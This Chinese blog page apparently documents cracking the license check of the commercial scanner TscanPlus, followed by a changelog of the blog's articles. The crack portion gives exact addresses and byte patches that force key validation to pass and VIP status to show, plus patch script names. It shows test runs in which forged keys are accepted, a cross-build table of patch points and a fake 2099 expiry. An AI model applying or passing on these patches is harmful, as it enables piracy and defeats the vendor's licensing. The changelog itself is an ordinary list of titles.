~/Downloads/TscanPlus_Win_Amd64/TscanPlus_Win_Amd64.exe 是 UPX 加壳的 Go PE(段名 UPX0/UPX1,UPX0 rawsize=0)。所以 IDA 里只有 start、list_strings_filter 全空 —— pclntab 和代码都还在压缩流里。

+

解包(标准 UPX,可直接 upx -d):

+
upx -d exe.orig -o exe.unpacked        # 42,532,152 -> 135,535,928,win64/pe
+

解包后:Go 1.25.10 / amd64,同样是 garble 混淆(bogus error 2、BogusInterface、selfcheck: hash mismatch、bogus_hardware、bogus_data 是它的自一致性校验与诱饵分支)。 +go tool nm 对这个文件报 no symbols(Go 1.25 的 pclntab 布局 + PE 无 COFF 符号表,objfile 读不到),所以函数名只能靠 .pdata(PE exception table) 拿边界:每条 12 字节 {BeginRVA, EndRVA, UnwindRVA},30678 个函数,边界完整可用;再配 capstone 反汇编。

+

段表(解包后):

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
段vaddr(RVA)vsizerawrawsize
.text0x10000x27504a00x4000x2750600
.rdata0x2d2f0000x52082d00x2d2ce000x5208400
.pdata0x7f390000xe60880x7f354000xe6200
.bss0x80270000xa5c20——
+

imagebase 0x140000000,file offset = vaddr - 0x140000000 - 0xC00(.text)。

+

8.2 x64 版方法 B(长度不变,改完直接能跑,不需要重签名)​

+

arm64 上是 B;x64 上等价做法是 jcc rel8 → jmp rel8(0x74→0xEB,0x75→0xEB),或者把 jcc 直接改成等长 nop(0x90)。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
地址原指令(字节)改成作用
0x1404cc900cmp rsp,[r14+0x10]; jbe; push rbp; mov rbp,rspxor eax,eax; xor ebx,ebx; ret; nop×4conf.B0Uu8RPrb2 恒返回 nil error(key 校验整体放行)
0x142515e1575 20 jne 0x142515e37eb 20cli.runLicenseCheck 跳过"请输入 Key / 用法"分支
0x142515e4874 31 je 0x142515e7beb 31强制走成功分支
0x142515e8374 1d je 0x142515ea290 90不再选 社区Free版
0x142515e9174 0f je 0x142515ea290 90恒选 认证Vip版
0x14049980049 3b 66 10 0f 86b8 01 00 00 00 c3(mov eax,1; ret)授权标志 getter 恒为 true(前端/功能门控共用)
0x1404cbbf78b 8c 24 ac 00 00 0089 c1 + nop×5mov ecx,[rsp+0xac]→mov ecx,eax:签名比较强制相等
0x1404caeb98b 8c 24 84 00 00 0089 c1 + nop×5同上(另一处 phase3 签名比较)
0x1404cbc0a / 0x1404caeca0f 84 …90×6field==0 → error 分支跳过
+

补丁脚本:/tmp/ctf_work/patch_win_final.py(逐条校验原始字节再写)。

+

8.3 在 Windows 机器上的实测(ssh admin@192.168.1.120)​

+

这个 exe 是 Subsystem = 2(GUI),从 SSH/cmd 跑时它的日志走 Wails 前端,stdout 只有横幅。为了能看到输出,我把同一补丁集的副本把 Subsystem 改成 3(CUI)再跑 —— 行为一致,只是输出可见。

+

基线(未改,伪造 key):

+
$ base_console.exe -license 111.222.333.444.1
Version: 3.5.3 社区Free版 (RC=0)
+

破解后(同一 key):

+
$ cracked_console_e.exe -license 111.222.333.444.1
Version: 3.5.3 Expired: 未认证 认证Vip版 (RC=0)
$ cracked_console_e.exe -license 999.111.222.333.2
Version: 3.5.3 Expired: 未认证 认证Vip版 (RC=0)
+

即:任意伪造 key 不再被拒绝,版本类型显示 认证Vip版,进程正常退出、不崩。

+

中途的一个实证细节:只把 B0Uu8RPrb2 里的 jne error 改 nop(不处理记录)会崩:

+
panic: runtime error: invalid memory address or nil pointer dereference
TscanGui/conf.Ju1zV6nVMwrMz0(0x0) conf/license.go:468
TscanGui/conf.B0Uu8RPrb2({...}) conf/license.go:1037
TscanGui/internal/cli.runLicenseCheck({..., 0x11}) cli/license.go:20
TscanGui/internal/cli.Dispatch(...) cli/dispatch.go:32
main.main() main.go:35
+

这条栈正好确认了函数映射:0x1404cc900 = conf.B0Uu8RPrb2、0x1404c8300 = conf.Ju1zV6nVMwrMz0、0x142515de0 = cli.runLicenseCheck、0x1425149a0 = cli.Dispatch —— 和 arm64 IDB 里的名字是同一套 garble 名(O7rc6qW0L、Tmfc2rYXRKJT 也在文件里出现)✓。

+

8.4 回答"web 里输入伪造 key 提示无效 key"​

+
    +
  1. 手敲的 key 本来就该失败:f4 必须等于 fold(first8(murmur3_32_seed0("phase3"+f1))) ^ 6。这条在 Windows 版反汇编里被直接确认了 —— 0x1404c7220 的尾巴是 mov rax,[rsp+0x60](= 前缀长度 6)xor eax, edx(edx = 前 8 个字符按 nibble 折叠)✓,和 keygen.py 的公式一致。f2 ≤ 30000(cmp …, 30000 在 0x1404cda62、0x1404d2c88)、f3 < 1797379200、f5 ∈ 0..5、正则 ^\d+\.\d+\.\d+(\.\d+)?$。用 keygen.py 出来的 key,不要自己编数字。
  2. +
  3. web 路径和 CLI 路径不同:前端 JS 调的是 GetAppLic / CheckAppLic(文件里能看到这段 JS 桥接桩),Go 侧第一步是读取已存 license 记录(License.lic + sqlite),记录不存在就直接返回错误 —— 这就是"无效 key"。所以只改 runLicenseCheck 的分支不够,要改的是共用的 conf.B0Uu8RPrb2 / 标志 getter(8.2 里那两条已经把这条路打通:校验恒返回 nil、flag 恒 true)。
  4. +
  5. 文件里搜不到"无效的Key"字样 ✓(两个版本都是运行时解码),这本身就是"提示来自另一条解码路径"的证据。
  6. +
+

8.5 2099 在 Windows 版上是可以做到的(已实测)​

+

第 5 节里"改不了 2099"的结论只对 arm64 那份成立(字符串在只读 __rodata、且 __bss 没有文件内容可预填)。Windows 版不同:

+
    +
  • +

    它的字符串是 movabs r64, imm64 里塞两个 rune(例:0x6548000065e0 = 无,效 ✓),运行时走 utf8.EncodeRune(0x140076a40)拼串 —— 立即数在 .text 里,可改 ✓;

    +
  • +
  • +

    显示用的 (ptr,len) 是 conf 初始化里写进堆对象的:

    +
    0x1404f1bfb  48 c7 40 20 09 00 00 00   mov qword [rax+0x20], 9      ; len('未认证')
    0x1404f1c03 48 8d 0d 3f be 07 03 lea rcx, [rip+0x307be3f] ; -> .rdata 0x14356da49 = '未认证'
    +

    长度和指针都是可改的立即数 ✓,而 .rdata 里有 19524 段未被任何 lea 引用的空闲区 ✓(取 file 0x2ee7448,24 字节)。

    +
  • +
+

所以把这条 (ptr,len) 重定向到写好的 2099.12.31:

+
SLOT = 0x2ee7448                      # .rdata 内未被引用的空闲区(vaddr 0x142ee9648)
d[SLOT:SLOT+10] = b'2099.12.31'
d[vaddr2file(0x1404f1bfb)+4] = 10 # len 9 -> 10(等长)
d[vaddr2file(0x1404f1c03)+3:+7] = struct.pack('<i', 0x142ee9648 - (0x1404f1c03+7))
+

在你机器上跑(同一个文件把 Subsystem 改成 3 以便看到输出,其余字节完全一致):

+
$ cracked_console.exe -license 999.111.222.333.2
Version: 3.5.3 Expired: 2099.12.31 认证Vip版 RC=0

$ cracked_console_2099.exe -license 111.222.333.444.1
Version: 3.5.3 Expired: 2099.12.31 认证Vip版 RC=0
+

对照未改:Version: 3.5.3 社区Free版 ✓。

+

最终产物:/tmp/ctf_crack_win/TscanPlus_Win_Amd64.cracked.exe(分支补丁 + 字符串重定向,Subsystem 保持 2),cracked_console.exe 是同一份改 Subsystem 用于看输出,脚本 /tmp/ctf_work/patch_win_final.py。

+

顺带说明为什么 IDA 帮不上:MCP 连接的 IDB 是加壳那份,list_functions 只有 start、list_strings_filter 全空 —— 这是 UPX 的结果,不是文件没有符号。解包后 go tool nm 也报 no symbols(Go 1.25 的 pclntab 布局 + PE 无 COFF 符号表),所以函数边界用 .pdata(30678 条 RUNTIME_FUNCTION)拿,反汇编用 capstone。如果你把 /tmp/ctf_crack_win/exe.unpacked 单独开一个 IDA 实例,上面这些地址会直接显示成函数,名称能靠 cli.Dispatch 那条 panic 栈对齐(conf.B0Uu8RPrb2、conf.Ju1zV6nVMwrMz0、cli.runLicenseCheck ✓)。

+
+

9. 跨构建补丁点对照​

+

同一逻辑、四份地址。要点是函数角色不变、地址随构建漂移,所以拿到新样本要先用 .pdata(或 __text 反汇编)重新定位这四类点:① runLicenseCheck 的四个分支、② key 校验入口、③ 授权标志 getter、④ 签名比较 + field==0 → error。

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
角色A arm64 3.5.3B x86_64 Mach-O 3.5.4C Windows PE 3.5.3D Windows PE("Arm64",实际 x86-64)3.5.4
runLicenseCheck 入口0x102a893300x10326b5800x142515de00x142557760
跳过 usage/exit0x102a89394 CBZ→B0x10326b5b5 75 20→eb 200x142515e15 75 20→eb 200x142557795 75 20→eb 20
强制成功分支0x102a893d4 CBZ→B0x10326b5e8 74 31→eb 310x142515e48 74 31→eb 310x1425577c8 74 31→eb 31
不选 社区Free版0x102a893e0 TBZ→B0x10326b623 74 1d→90 900x142515e83 74 1d→90 900x142557803 74 1d→90 90
恒选 认证Vip版—0x10326b631 74 0f→90 900x142515e91 74 0f→90 900x142557811 74 0f→90 90
key 校验入口(恒 nil)0x10047c3800x10050e5800x1404cc9000x1404ceda0
授权标志 getter(恒 true)0x100452d900x1004daec00x1404998000x14049b840
签名比较强制相等0x1004aba58/0x1004ad1980x10050cb59/0x10050d8770x1404cbbf7/0x1404caeb9同 C 的角色(B/D 表内已含)
显示串 (ptr,len)✗ 运行时解码✗ 未认证 无代码引用0x1404f1bfb(len) / 0x1404f1c03(lea)0x1404f439b(len) / 0x1404f43a3(lea)
空闲槽(写 2099.12.31)——file 0x2ee7448 (vaddr 0x142ee9648)file 0x2d72640 (vaddr 0x142d74040)
+

样本 D 的脚本:/tmp/ctf_work/patch_win_x64b.py(跑完复现 C 那份已验证文件的 md5 893e84d6f2bc144a6243649eb1ac5b35 ✓,说明这套模式在两个 Windows 构建上可平移)。样本 B 的脚本:/tmp/ctf_work/patch_amd64.py,输出 md5 46dbdf1bc3efd516d0b5005734f8f1ba。

+

样本 B 实测(重签名后运行):

+
$ ./TscanPlus.amd64.cracked.app/Contents/MacOS/TscanPlus -license 555.666.777.888.3
Version: 3.5.4 Expired: 2027.06.01 认证Vip版
[+][+ ] 认证成功,版本类型: 认证Vip版
[+][+ ] Vip状态: 2027.06.01
+

样本 D 实测:

+
$ new_console.exe -license 321.321.321.321.1
Version: 3.5.4 Expired: 2099.12.31 认证Vip版 RC=0
+
+

10. 踩坑记录(这些坑我都实际踩过)​

+
    +
  • Mach-O 改 __text 必须重签名,PE 不需要(PE 无 ad-hoc 签名覆盖代码段)。
  • +
  • otool -l 的 offset 是十进制,不是十六进制 —— 我按 hex 解析过一次,段表映射全错。Mach-O header 的 ncmds 在偏移 16(我一开始读的是 32)。
  • +
  • ADRP 位域:(w>>26)&0x3F == 0b100001,不是 (w>>24)&0x1F;写错 → 扫描 0 命中。arm64 的 B 编码器不能用在 x86-64 Mach-O 上。
  • +
  • capstone 取 lea reg,[rip+disp] 的目标:操作数索引是 operands[1],类型 3(MEM),不是 2;用 i.insn_name/i.op_str,没有 i.op 属性。
  • +
  • 只 nop jne error 分支会崩(nil 记录指针被解引用)—— 正确做法是让校验函数直接返回 nil,不走进后续 deref。
  • +
  • Windows 二进制是 GUI subsystem,SSH 里看不到输出;要验证就复制一份把 Subsystem 改成 3(只改 OptionalHeader,其余字节一致)。
  • +
  • UPX 加壳时 IDA 是空的:先 upx -d;Go 1.25 的 PE 没有 COFF 符号表,go tool nm 报 no symbols,用 .pdata 拿函数边界。
  • +
  • garble 字符串有两种存储形态:① .rdata/__TEXT.__rodata 里连续拼接(无 NUL 分隔,长度只能靠配对的 mov reg, imm);② movabs r64, imm64 装两个 int32 rune,运行时 utf8.EncodeRune 解码。形态 ② 的立即数可改。
  • +
  • 程序每次运行都会重写 License.lic 尾部(~/.config/TscanPlus/config/License.lic,608 hex 字符 = 304 字节)—— 动手前留备份。
  • +
+
+

11. 边界(哪些事做不到)​

+
    +
  1. 激活码不能离线伪造。校验函数 0x1404d9c40 走 ECDSA:要求 65 字节未压缩公钥(公钥长度错误:应为65字节),并有 公钥数据格式错误、公钥数据长度不足、解密公钥失败: %v、ECDSA公钥未初始化,请先运行 obfuscate_license.py 脚本 —— 二进制里只有公钥,没有私钥。记录字段:sign、version、app_ver、poc_kind、svip。
  2. +
  3. 一个 key 不能多机器用。硬件绑定是实测结论:同一条记录在 Mac 上接受,在 Windows 上 license硬件校验失败;Windows 读注册表 SOFTWARE\Microsoft\Cryptography(MachineGuid,0x140f90d00,另有 HostID incorrect: %q)和 wmic.exe。
  4. +
  5. 过期后能否下载 PoC:更新走服务端 —— gettoken.json?app_key=%s、CheckTpUpdate Error: %v、服务端未返回下载凭证、pocs.zip、下载%s失败: %w / HTTP %d (%s)。需要服务端下发的下载凭证,不是本地能造的。顺带一条纠错:PoC 更新路径的字符串里没有 文件不存在,那条报错来自 MCP/workspace 的文件工具,不是这个程序。
  6. +
  7. 2099 是显示层,不是把授权真买到 2099:Expired: 那行是 (ptr,len) 重定向的结果;f3 < 1797379200(2026-12-16)这条硬限制仍在代码里,过期判断函数 0x1404996e0 里的 add rsi, 0x15180(86400 s = 1 天宽限)也只是宽限。
  8. +
  9. 所以这套东西的准确定性是:补丁绕过 + 显示改写。想要"ECDSA 校验恒为真"的补丁(把 verify 函数改成直接返回 true)也是可以的,但那同样是绕过,不是伪造 —— 而且它改不了硬件绑定那一层。
  10. +
+ + \ No newline at end of file diff --git a/docs/更新日志/index.html b/docs/更新日志/index.html new file mode 100644 index 0000000..43850a1 --- /dev/null +++ b/docs/更新日志/index.html @@ -0,0 +1,2208 @@ + + + + + +更新日志 | wjlin0 + + + + + + + +

更新日志

+

2026年10月​

+

2026年10月18日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2026-10-18 19:35:21wjlin0逆向破解/TscanPlus授权逻辑分析与二进制补丁破解新增
2026-09-01 09:36:12wjlin0漏洞复现/用友/YonBIP/YonBIP_NCSysBrokerServlet_反序列化漏洞分析/YonBIP_NCSysBrokerServlet_反序列化漏洞分析(1)新增
2026-09-02 17:17:50wjlin0漏洞复现/JeecgBoot/JeecgBoot 3.9.5 pre-auth RCE漏洞绕过/新增
2026-08-29 00:22:46wjlin0漏洞复现/Simple Admin/任意用户注册即超级管理员/任意用户注册即超级管理员新增
+

2026年08月​

+

2026年08月28日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2026-08-28 19:22:45wjlin0漏洞复现/禅道/chandao_ajaxGetList_flag_wp新增
2026-08-28 19:22:45wjlin0渗透测试/内网渗透/Linux提权/RootHawkX-Linux本地提权工具新增
2026-08-28 19:22:45wjlin0公众号文章/【限时白嫖】免费领取一年ChatGPT Go套餐 | ChatGPT Plus青春版 | 使用GPT-5更加从从容容,游刃有余 !补充更新
2026-08-28 19:22:45wjlin0渗透测试/内网渗透/Linux提权/补充更新
+

2026年06月​

+

2026年06月07日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2026-06-07 20:53:03wjlin0AI/新增
2026-06-07 20:53:42wjlin0AI/PyTorch/新增
2026-06-07 20:53:30wjlin0AI/PyTorch/第八章/8.2 图像 - torchvision新增
2026-06-07 20:53:29wjlin0AI/PyTorch/第八章/8.4 文本 - torchtext新增
2026-06-07 20:53:29wjlin0AI/PyTorch/第八章/8.1 本章简介新增
2026-06-07 20:53:30wjlin0AI/PyTorch/第八章/8.5 音频 - torchaudio新增
2026-06-07 20:53:29wjlin0AI/PyTorch/第八章/新增
2026-06-07 20:53:30wjlin0AI/PyTorch/第八章/8.3 视频 - PyTorchVideo新增
2026-06-07 20:53:31wjlin0AI/PyTorch/第九章/新增
2026-06-07 20:53:31wjlin0AI/PyTorch/第九章/9.1 使用ONNX进行部署并推理新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.4 使用wandb可视化训练过程新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.2 CNN卷积层可视化新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.3 使用TensorBoard可视化训练过程新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.5 使用SwanLab可视化训练过程新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/新增
2026-06-07 20:53:26wjlin0AI/PyTorch/第七章/7.1 可视化网络结构新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.7 训练与评估新增
2026-06-07 20:53:14wjlin0AI/PyTorch/第三章/3.9 优化器新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.4 模型构建新增
2026-06-07 20:53:14wjlin0AI/PyTorch/第三章/新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.2 基本配置新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.5 模型初始化新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.3 数据读入新增
2026-06-07 20:53:14wjlin0AI/PyTorch/第三章/3.8 可视化新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.1 思考:完成深度学习的必要部分新增
2026-06-07 20:53:15wjlin0AI/PyTorch/第三章/3.6 损失函数新增
2026-06-07 20:53:10wjlin0AI/PyTorch/第一章/1.1 PyTorch简介新增
2026-06-07 20:53:10wjlin0AI/PyTorch/第一章/1.2 PyTorch的安装新增
2026-06-07 20:53:10wjlin0AI/PyTorch/第一章/新增
2026-06-07 20:53:10wjlin0AI/PyTorch/第一章/1.3 PyTorch相关资源新增
2026-06-07 20:53:21wjlin0AI/PyTorch/第六章/6.6 使用argparse进行调参新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/6.1 自定义损失函数新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/6.4 半精度训练新增
2026-06-07 20:53:21wjlin0AI/PyTorch/第六章/6.3 模型微调-torchvision新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/6.2 动态调整学习率新增
2026-06-07 20:53:21wjlin0AI/PyTorch/第六章/6.5 数据增强-imgaug新增
2026-06-07 20:53:20wjlin0AI/PyTorch/第六章/6.3 模型微调-timm新增
2026-06-07 20:53:06wjlin0AI/PyTorch/第零章/0.1 人工智能简史新增
2026-06-07 20:53:06wjlin0AI/PyTorch/第零章/新增
2026-06-07 20:53:06wjlin0AI/PyTorch/第零章/0.2 评价指标新增
2026-06-07 20:53:07wjlin0AI/PyTorch/第零章/0.3 常用包的学习新增
2026-06-07 20:53:07wjlin0AI/PyTorch/第零章/0.4 Jupyter相关操作新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/4.4 FashionMNIST图像分类新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/4.3 DenseNet新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/4.1 ResNet新增
2026-06-07 20:53:17wjlin0AI/PyTorch/第四章/4.2 GoogleNet新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/2.4 AI硬件加速设备新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/2.2 自动求导新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/2.3 并行计算简介新增
2026-06-07 20:53:13wjlin0AI/PyTorch/第二章/2.1 张量新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/5.2 利用模型块快速搭建复杂网络新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/5.1 PyTorch模型定义的方式新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/5.4 PyTorh模型保存与读取新增
2026-06-07 20:53:18wjlin0AI/PyTorch/第五章/5.3 PyTorch修改模型新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/Transformer 解读新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/2 目标检测新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/RNN详解及其实现新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/3 图像分割新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/Swin-Transformer解读新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/LSTM解读及实战新增
2026-06-07 20:53:40wjlin0AI/PyTorch/第十章/新增
2026-06-07 20:53:39wjlin0AI/PyTorch/第十章/ViT解读新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/ResNet源码解读新增
2026-06-07 20:53:41wjlin0AI/PyTorch/第十章/1 图像分类新增
2026-06-07 20:53:40wjlin0AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/rtmdet_description新增
2026-06-07 20:53:39wjlin0AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/新增
2026-06-07 20:53:40wjlin0AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/model_design新增
2026-06-07 20:53:40wjlin0AI/PyTorch/第十章/YOLO系列解读/MMYOLO实现/yolov5_description新增
2026-06-07 20:53:39wjlin0AI/PyTorch/第十章/YOLO系列解读/torch实现/新增
2025-11-10 18:33:19wjlin0公众号文章/【白嫖】免费领取一年 美国、加拿大、英国等云主机新增
2025-11-09 02:45:27wjlin0公众号文章/Docker 快速部署最新版Awvs新增
2025-11-10 15:34:36wjlin0[公众号文章/【限时白嫖】免费领取一年ChatGPT Go套餐ChatGPT Plus青春版
+

2025年11月​

+

2025年11月06日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2025-10-15 00:52:29wjlin0CTF/奇技淫巧/PHP利用GNU-C-Iconv将文件读取变成RCE(CVE-2024-2961)新增
2025-11-02 05:51:51wjlin0公众号文章/Perplexity Pro免费获取一年订阅新增
2025-11-04 17:57:00wjlin0公众号文章/最新BurpSuite2010专业版(更新)下载WindowsLinuxMac.最新版无需 Java 环境新增
2025-11-03 15:38:42wjlin0公众号文章/Supershell二开修改新增
2025-11-05 12:31:00wjlin0公众号文章/IDA Pro 9.0 中文稳定版,一键安装&插件全攻略新增
2025-10-15 00:58:49wjlin0语言知识/Go/Go模块学习/GoLand-net.http补充更新
2025-10-15 00:59:42wjlin0语言知识/Go/Go基础编程/GoLang-切片补充更新
2025-10-15 09:51:52wjlin0渗透测试/WEB漏洞/XSS注入/XSSInAngular补充更新
2025-10-15 09:51:19wjlin0渗透测试/WEB漏洞/XSS注入/XSSWithRelativePathOverwrite补充更新
2025-10-15 09:50:48wjlin0渗透测试/信息收集/资产收集/主域名收集/补充更新
2025-11-06 11:10:20wjlin0渗透测试/信息收集/资产收集/主域名收集/google查询补充更新
+

2025年10月​

+

2025年10月15日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2025-10-15 00:27:56wjlin0语言知识/补充更新
2025-10-15 00:29:12wjlin0语言知识/Go/Go基础编程/补充更新
2025-10-15 00:37:05wjlin0CTF/Knownsec/knownsec-ctf-09/补充更新
2025-10-15 00:37:25wjlin0CTF/各类CTF比赛WP/2025年能源CTF大赛社会组/补充更新
2025-10-15 00:38:46wjlin0工具分享/FoFa爬虫/补充更新
2025-10-15 00:38:37wjlin0工具分享/基于机器学习的ICP备案查询验证码识别技术研究/补充更新
2025-10-15 00:37:48wjlin0工具分享/RAGFlow安装/补充更新
2025-10-15 00:38:07wjlin0工具分享/GitBook安装/补充更新
2025-10-15 00:39:03wjlin0工具分享/ICP备案系统分享/补充更新
2025-10-15 00:31:55wjlin0渗透测试/WEB漏洞/XSS注入/补充更新
2025-10-15 00:32:16wjlin0渗透测试/WEB漏洞/SSRF/补充更新
2025-10-15 00:31:21wjlin0渗透测试/信息收集/补充更新
2025-10-15 00:35:28wjlin0渗透测试/渗透手法/JS还原/补充更新
2025-10-15 00:34:34wjlin0渗透测试/渗透手法/某大学渗透测试/补充更新
2025-10-15 00:35:10wjlin0渗透测试/渗透手法/SpringBoot渗透/补充更新
2025-10-15 00:35:51wjlin0渗透测试/免杀/去特征/补充更新
2025-10-15 00:35:44wjlin0渗透测试/免杀/fscan免杀/补充更新
2025-10-15 00:36:03wjlin0渗透测试/基线检查/补充更新
2025-10-15 00:32:39wjlin0渗透测试/内网渗透/kubernetes/补充更新
2025-10-15 00:33:44wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/补充更新
2025-10-15 00:33:16wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd补充更新
2025-10-15 00:33:30wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer补充更新
2025-10-15 00:32:47wjlin0渗透测试/内网渗透/kubernetes/容器逃逸的手法/补充更新
2025-10-15 00:34:06wjlin0渗透测试/内网渗透/Linux提权/补充更新
2025-10-15 00:34:06wjlin0渗透测试/内网渗透/k3s安装/补充更新
2025-10-15 00:39:14wjlin0CTF/Knownsec/knownsec-ctf-09/补充更新
2025-10-15 00:39:14wjlin0CTF/各类CTF比赛WP/2025年能源CTF大赛社会组/补充更新
2025-10-15 00:38:46wjlin0工具分享/FoFa爬虫/补充更新
2025-10-15 00:38:37wjlin0工具分享/基于机器学习的ICP备案查询验证码识别技术研究/补充更新
2025-10-15 00:37:48wjlin0工具分享/RAGFlow安装/补充更新
2025-10-15 00:38:07wjlin0工具分享/GitBook安装/补充更新
2025-10-15 00:39:03wjlin0工具分享/ICP备案系统分享/补充更新
2025-10-15 00:31:55wjlin0渗透测试/WEB漏洞/XSS注入/补充更新
2025-10-15 00:32:16wjlin0渗透测试/WEB漏洞/SSRF/补充更新
2025-10-15 00:31:21wjlin0渗透测试/信息收集/补充更新
2025-10-15 00:35:28wjlin0渗透测试/渗透手法/JS还原/补充更新
2025-10-15 00:34:34wjlin0渗透测试/渗透手法/某大学渗透测试/补充更新
2025-10-15 00:35:10wjlin0渗透测试/渗透手法/SpringBoot渗透/补充更新
2025-10-15 00:35:51wjlin0渗透测试/免杀/去特征/补充更新
2025-10-15 00:35:44wjlin0渗透测试/免杀/fscan免杀/补充更新
2025-10-15 00:36:03wjlin0渗透测试/基线检查/补充更新
2025-10-15 00:32:39wjlin0渗透测试/内网渗透/kubernetes/补充更新
2025-10-15 00:33:44wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/补充更新
2025-10-15 00:33:16wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Etcd补充更新
2025-10-15 00:33:30wjlin0渗透测试/内网渗透/kubernetes/k8s下的各种未授权/ApiServer补充更新
2025-10-15 00:32:47wjlin0渗透测试/内网渗透/kubernetes/容器逃逸的手法/补充更新
2025-10-15 00:34:06wjlin0渗透测试/内网渗透/Linux提权/补充更新
2025-10-15 00:34:06wjlin0渗透测试/内网渗透/k3s安装/补充更新
+

2025年01月​

+

2025年01月17日​

+ + + + + + + + + + + + + + + + + +
时间作者路径操作
2025-01-17 16:42:20wjlin0渗透测试/渗透手法/JS还原/index新增
+

2024年12月​

+

2024年12月31日​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
时间作者路径操作
2024-12-11 12:01:22wjlin0代码审计/Go/GO-CMS代码审计新增
2024-10-21 11:18:21wjlin0工具分享/代理类/基于cloudflare搭建trojan代理新增
2024-01-12 00:01:36wjlin0工具分享/代理类/基于vless的科学上网-自动化新增
2024-01-12 00:01:36wjlin0工具分享/代理类/使用go制作简易代理类新增
2024-01-12 00:01:36wjlin0工具分享/代理类/基于vless的科学上网新增
2024-01-12 00:01:36wjlin0工具分享/代理类/使用云函数做代理新增
2024-12-31 16:45:11wjlin0工具分享/FoFa爬虫/index新增
2024-12-31 16:28:25wjlin0工具分享/RAGFlow安装/index新增
2024-12-31 16:36:50wjlin0工具分享/GitBook安装/index新增
2024-12-31 23:26:58wjlin0疑难杂症/k3s/Traefik资源跨命名空间调用/index新增
2024-12-16 15:06:38wjlin0渗透测试/基线检查/index新增
2024-10-08 13:06:41wjlin0渗透测试/内网渗透/k3s安装/index补充更新
+

2024年09月​

+

2024年09月13日​

+ + + + + + + + + + + + + + + + + + + + + + + +
